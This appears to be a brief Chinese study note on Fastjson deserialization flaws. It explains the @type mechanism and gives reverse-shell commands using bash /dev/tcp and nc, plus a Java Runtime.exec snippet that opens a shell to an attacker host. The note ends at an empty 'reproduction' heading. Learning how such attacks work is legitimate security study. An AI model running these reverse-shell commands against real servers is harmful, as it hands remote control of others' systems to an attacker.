Fastjson 反序列化

版本<1.2.80

使用

Fastjson 把json转为对象 把对象转为json

序列化

JSON.toJSONString(obj)

反序列化

JSON.parseObject(str,class)

反弹shell

为什么要反弹shell

用户是在局域网里 不好直接连接，就让用户主动连接攻击者 连接上之后 就可以给他发请求了 例如ls什么的

怎么反弹

攻击者打开端口等待连接：nc -lvp 4444

被攻击者运行反弹命令（被攻击者怎么运行 其实就是在该服务器网站上找个输入的入口 写入命令就好了）：bash -i >& /dev/tcp/攻击者IP/4444 0>&1

（nc反弹：nc -e /bin/bash 攻击者IP 4444）还可以telnet反弹

然后被攻击者就与攻击者连上了

攻击者就可以给对方服务器发请求了

Java反弹就是使用Runtime去执行上面的命令

Runtime r = Runtime.getRuntime();

String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/攻击者/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"};

Process p = r.exec(cmd);

p.waitFor();

原理

Fastjson在解析json的过程中 使用@type字段来指定反序列化的类型

在处理对象的时候 没有对@type字段进行安全校验 攻击者就可以传入危险类 并调用危险类连接远程RMI主机 然后执行恶意代码

复现

1.2.24